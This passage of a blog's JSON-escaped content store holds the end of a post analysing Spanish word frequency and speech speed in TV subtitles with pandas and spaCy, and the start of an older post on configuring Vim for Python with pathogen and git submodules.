#adbac7\"\u003egrouped_verbs.head(50)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich got me this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\tword\tpos\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e0\ttener\tVERB\t22072\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e1\thacer\tVERB\t14946\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e2\tir\tVERB\t12570\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e3\tdecir\tVERB\t11314\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e4\tquerer\tVERB\t11083\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e5\tver\tVERB\t10269\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e6\testar\tVERB\t9780\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e7\tsaber\tVERB\t8704\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e8\tser\tVERB\t7674\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e9\tdar\tVERB\t5722\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e10\tpasar\tVERB\t5528\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e11\thablar\tVERB\t5355\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e12\tvenir\tVERB\t5145\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e13\tcreer\tVERB\t4895\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e14\tsalir \tVERB\t3395\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eVerbs had a slightly different drop-off pattern when I targeted them directly:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_verbs.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eI get a big bang for my buck by learning those top 40 verbs.   Nouns on the other hand are much more spread out and most are evenly distributed:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eword\tpos\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e0\tgracias\tNOUN\t4676\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e1\tfavor\tNOUN\t4625\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e2\tseñor\tNOUN\t4116\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e3\tverdad\tNOUN\t3566\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e4\tvida\tNOUN\t2673\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e5\thombre\tNOUN\t2601\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e6\tmadre\tNOUN\t2597\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e7\tvez\tNOUN\t2537\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e8\ttiempo\tNOUN\t2492\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e9\thijo\tNOUN\t2215\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_nouns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eSo then I thought to myself... How much of a show would I understand if I just learned these most important words?  So I started by excluding some of the easy parts of speech and focused on the most important:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efind_important_words = (words[~words.pos.isin(['PRON', 'CONJ', 'ADP', 'ADV', 'SCONJ', 'AUX', 'INTJ'])].groupby(['word', 'pos']).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efind_important_words.head(50)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe top 20 were all verbs except for \u003ccode\u003ebueno\u003c/code\u003e and \u003ccode\u003egracias\u003c/code\u003e.   So now with my list of what I considered \"important words\" I plotted it to find what amount of words I wanted to learn:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/important_words.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eIt looks like 200 learned words would give me a reasonable amount of understanding for a series, so I decided to calculate how much of a series I would understand if I learned just those first 200 words:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epercentages = {}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efor show_name in words['media'].drop_duplicates().values:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    words_in_show = (words[words.media == show_name].groupby(words.word).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    total_words_handled = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    for word in grouped_result['word'][:200]:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e        values = words_in_show[words_in_show.word == word]['count'].values\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e        if values.size \u003e 0:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e            total_words_handled += values[0]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    percentages[show_name] = total_words_handled / words_in_show.sum().loc['count']\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow I had a table that would show me what percentage of the spoken words were covered by the first 200 words in my list:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df = pd.DataFrame(percentages.items(), columns=['show', 'percentage'])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df = p_df.sort_values(by='percentage')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df['percentage'] = p_df['percentage'] * 100\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epd.options.display.float_format = '{:,.2f}%'.format\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eShow\u003c/th\u003e\n\u003cth\u003ePercentage\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e64.24%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e65.28%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e66.68%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e66.89%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e67.56%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e68.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e68.19%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e68.47%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e68.59%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e70.20%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e70.95\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e71.52%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e73.15%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e73.58%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e73.78%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e74.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e74.07%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e75.40%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e75.59%\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eBut living in Puerto Rico, one thing I've realized is speed of speech is also important.  I have a much easier time speaking with people from Colombia and Mexico than I do with Puerto Ricans because they speak so much faster.   So even though I could understand 75% of \"Tarde para la ira\" if I learned the 200 words, I want to make sure they are speaking at a pace I could understand as well.\u003c/p\u003e\n\u003cp\u003eSo I loaded up the other CSV file that was the full sentences and added a \"time per word\" column:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences = pd.read_csv('sentences.csv.gz', compression='gzip', delimiter=',', parse_dates=['start', 'end'])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences['total_time'] = (sentences['end'] - sentences['start']).dt.total_seconds()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences['word_count'] = sentences['sentence'].str.split().str.len()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences['time_per_word'] = sentences['total_time'] / sentences['word_count']\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen I was able to have a speed rating for each show:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentence_group = sentences.groupby([sentences.media])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentence_group.time_per_word.mean().reset_index().sort_values('time_per_word')\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003emedia\u003c/th\u003e\n\u003cth\u003etime_per_word\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e0.58\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e0.59\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e0.61\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e0.63\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e0.65\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e0.67\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e0.68\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e0.69\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e0.72\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e0.75\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e0.81\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eLuckily the two series that have the least amount of vocabulary also speak the slowest!   So these will be the series I start with.    The final question I wanted to answer is \"What are the top words I'm missing for a series\".    Since I'll know 75% of the series from the top 200 words, I'm hoping there are some top words from a specific series that I can also learn to get an even higher understanding.\u003c/p\u003e\n\u003cp\u003eFirst, find which words are in each show but not in the top 200:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emissing_words_by_show = {}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efor show_name in words['media'].drop_duplicates().values:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    words_in_show = (words[words.media == show_name].groupby(words.word).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    frequency_words = grouped_result['word'][:200]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    missing_words = words_in_show[~words_in_show.word.isin(frequency_words.values)]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    missing_words_by_show[show_name] = missing_words\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we were able to grab them per show:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emissing_words_by_show['La casa de las flores'].head(50)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eword\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e31\tmamá\t252\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e70\tflorería\t87\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e98\tperdón\t56\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e102\tsea\t54\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e116\tademás\t44\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e126\tahorita\t40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e132\tcárcel\t38\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e133\tfiesta\t38\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo adding those few words to my vocabulary will also give me a better understanding of the series.\u003c/p\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003eI believe a data-driven approach to language learning will be an effective way to get me speaking better spanish.   It was a ton of fun to play with spaCy, pandas, and jupyter as well!\u003c/p\u003e\n\u003cp\u003eI'll improve the data analysis over time as well but I do believe this is a pretty good starting point!\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/meme.png\"\u003e\n\u003c/center\u003e","category":"Development","date":"2022-04-29T19:00:00-05:00","tags":["Python","Pandas","NLP"],"title":"How to speak spanish like a colombian drug lord!"},{"id":["old","turning_vim_into_a_modern_python_ide"],"path":"old/turning_vim_into_a_modern_python_ide","contentHtml":"\u003cp\u003eTL;DR:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ git clone https://github.com/sontek/dotfiles.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ cd dotfiles\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ ./install.sh vim\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eIntro\u003c/h1\u003e\n\u003cp\u003eBack in 2008, I wrote the article \u003ca href=\"http://sontek.net/python-with-a-modular-ide-vim\"\u003ePython with a modular IDE\n(Vim)\u003c/a\u003e. Years later, I\nhave people e-mailing me and commenting daily asking for more\ninformation, even though most of the information in it is outdated. Here\nis the modern way to work with Python and Vim to achieve the perfect\nenvironment.\u003c/p\u003e\n\u003cp\u003eBecause one of the most important parts about a development environment\nis the ability to easily reproduce across machines, we are going to\nstore our vim configuration in git:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ mkdir ~/.vim/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ mkdir ~/.vim/{autoload,bundle}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ cd ~/.vim/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ git init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe purpose of the autoload directory is to automatically load the vim\nplugin \u003ca href=\"https://github.com/tpope/vim-pathogen\"\u003ePathogen\u003c/a\u003e, which we'll\nthen use to load all other plugins that are located in the bundle\ndirectory. So download pathogen and put it in your autoload folder.\u003c/p\u003e\n\u003cp\u003eYou'll need to add the following to your ~/.vimrc so that pathogen\nwill be loaded properly. Filetype detection must be off when you run the\ncommands so its best to execute them first:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efiletype off\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ecall pathogen#runtime_append_all_bundles()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ecall pathogen#helptags()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow lets add all of the vim plugins we plan on using as submodules to\nour git repository:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add http://github.com/tpope/vim-fugitive.git bundle/fugitive\u003c/span\u003e\u003c/span\u003e\n\u003cspan 